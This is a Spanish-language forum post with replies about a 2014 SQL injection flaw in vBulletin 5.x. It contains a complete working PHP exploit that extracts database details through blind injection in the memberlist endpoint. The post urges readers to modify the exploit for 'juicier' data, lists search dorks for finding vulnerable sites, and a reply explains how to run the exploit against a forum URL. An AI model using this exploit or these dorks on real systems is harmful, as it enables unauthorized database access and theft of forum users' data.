(http://1.bp.blogspot.com/-mOnlRbDtDKQ/U83YMy9bDbI/AAAAAAAACW0/kTyrdPduChM/s1600/vBulletin+SQLi.png) (http://1.bp.blogspot.com/-mOnlRbDtDKQ/U83YMy9bDbI/AAAAAAAACW0/kTyrdPduChM/s1600/vBulletin+SQLi.png"%20imageanchor=1)
Hace unos días se supo de una Inyección SQL en el gestor de foros vBulletin (http://unaaldia.hispasec.com/2014/07/inyeccion-sql-en-el-gestor-de-foros.html), pero como siempre primero me gusta verificar y recién hoy se ha publicado en
PacketStorm una versión pública ya que en 1337day Inj3ct0r (http://1337day.com/exploits/22452) ya se encontraba pero para acceder a él hay que pagar...
vBulletin es un software
desarrollado por vBulletin Solutions, para la creación y mantenimiento de foros
en Internet. Está basado en PHP y MySQL y según la propia compañía más de
100.000 sitios funcionan bajo este sistema.
Según confirma vBulletin, el
problema afecta a las
versiones 5.0.4, 5.0.5, 5.1.0, 5.1.1 y 5.1.2. El grupo
Romanian Security Team (RST) ha publicado un vídeo en el que se muestra la
vulnerabilidad y confirma el reporte a vBulletin, que ofrecerán todos los
detalles tras la publicación del parche.
La vulnerabilidad permite a un usuario malicioso realizar ataques de
inyección
SQL sobre la base de datos, con todas las implicaciones que ello puedo
llevar. Es decir,
extraer toda la
información y contenido de la base de datos, e incluso a partir de ahí
comprometer todo el sistema.
El exploit que se ha publicado nos permite obtener la
versión,
nombre y
usuario de la base de datos, para obtener datos más jugosos debéis modificar el exploit:
(http://4.bp.blogspot.com/-t0BPxkA5h-c/U83Yb0TeTaI/AAAAAAAACW8/h4ZUhYkfWjQ/s1600/sqli+vBulletin.bmp) (http://4.bp.blogspot.com/-t0BPxkA5h-c/U83Yb0TeTaI/AAAAAAAACW8/h4ZUhYkfWjQ/s1600/sqli+vBulletin.bmp"%20imageanchor=1)
<?php
/*
Author: Nytro
Powered by: Romanian Security Team
Price: Free. Educational.
*/
error_reporting(E_ALL);
ini_set('display_errors', 1);
// Get arguments
$target_url = isset($argv[1]) ? $argv[1] : 'https://rstforums.com/v5';
$expression = str_replace('/', '\\/', $target_url);
// Function to send a POST request
function httpPost($url,$params)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Referer: https://rstforums.com/v5/memberlist',
'Accept-Language: en-US,en;q=0.5',
'Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;'
));
$output = curl_exec($ch);
if($output == FALSE) print htmlspecialchars(curl_error($ch));
curl_close($ch);
return $output;
}
// Function to get string between two other strings
function get_string_between($string, $start, $end)
{
$string = " ".$string;
$ini = strpos($string,$start);
if ($ini == 0) return "";
$ini += strlen($start);
$len = strpos($string,$end,$ini) - $ini;
return substr($string,$ini,$len);
}
// Get version
print "\r\nRomanian Security Team - vBulltin 5.1.2 SQL Injection\r\n\r\n";
print "Version: ";
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version(),1 ,1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
$letter = 1;
while(strpos($result, 'No Users Matched Your Query') == false)
{
$exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
$username = get_string_between($exploded[1], '">', '<\/a>');
print $username[0];
$letter++;
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version( ),' . $letter . ',1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
// Get user
print "\r\nUser: ";
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),1 ,1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
$letter = 1;
while(strpos($result, 'No Users Matched Your Query') == false)
{
$exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
$username = get_string_between($exploded[1], '">', '<\/a>');
print $username[0];
$letter++;
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),' . $letter . ',1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
// Get database
print "\r\nDatabse: ";
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(), 1,1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
$letter = 1;
while(strpos($result, 'No Users Matched Your Query') == false)
{
$exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);
$username = get_string_between($exploded[1], '">', '<\/a>');
print $username[0];
$letter++;
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database(), ' . $letter . ',1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}
print "\r\n"
?>
Descargar Exploit vBulletin (http://packetstormsecurity.com/files/download/127537/vbulletin512-sql.txt)
Google ya ha bloqueado una posible busqueda del dork necesario para buscar sitios afectados, por ejemplo:
"Powered by vBulletin® Version 5.1.2"
"Powered by vBulletin® Version 5.0.4"
"Powered by vBulletin® Version 5.0.5"
"Powered by vBulletin® Version 5.1.0"
"Powered by vBulletin® Version 5.1.1"
Pero si buscan con Bing (http://www.bing.com/search?q=%22Powered+by+vBulletin%C2%AE+Version+5.1.2%22&go=&qs=ds&form=QBLH&filt=all) encontrarán resultados.
Fuentes:http://unaaldia.hispasec.com/2014/07/inyeccion-sql-en-el-gestor-de-foros.html
http://packetstormsecurity.com/files/127537/vBulletin-5.1.2-SQL-Injection.html
http://1337day.com/exploits/22452
http://www.blackploit.com
Fuente Original: Blackploit
Esto lo vi temprano y en un PoC local funciono perfecto!!.
Y la fuente? creo que esto anda en Blackploit?
PD: Solo digo aparte de traductor ahora mal posteador U_u vamos de mal en peor, ahi te corregi ;)
Regards,
Snifer
Nup, porque al final decia fuentes tal cual el post original, debes de poner lo que corresponde al cesar lo que es del cesar ;)
Regards,
Snifer
hermanoo.. tengo añooos sin compilar o interpretar un exploit. para usar este necesito bajarme bamcompiler ? ya que desde cmd no reconoce el comando "php" o que tengo que hacer ?
You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
hermanoo.. tengo añooos sin compilar o interpretar un exploit. para usar este necesito bajarme bamcompiler ? ya que desde cmd no reconoce el comando "php" o que tengo que hacer ?
Nope, descarga la última versión de PHP, y luego ejecuta el script así:
C:\PATH_A_PHP\php.exe nombre_del_script.php url_del_foro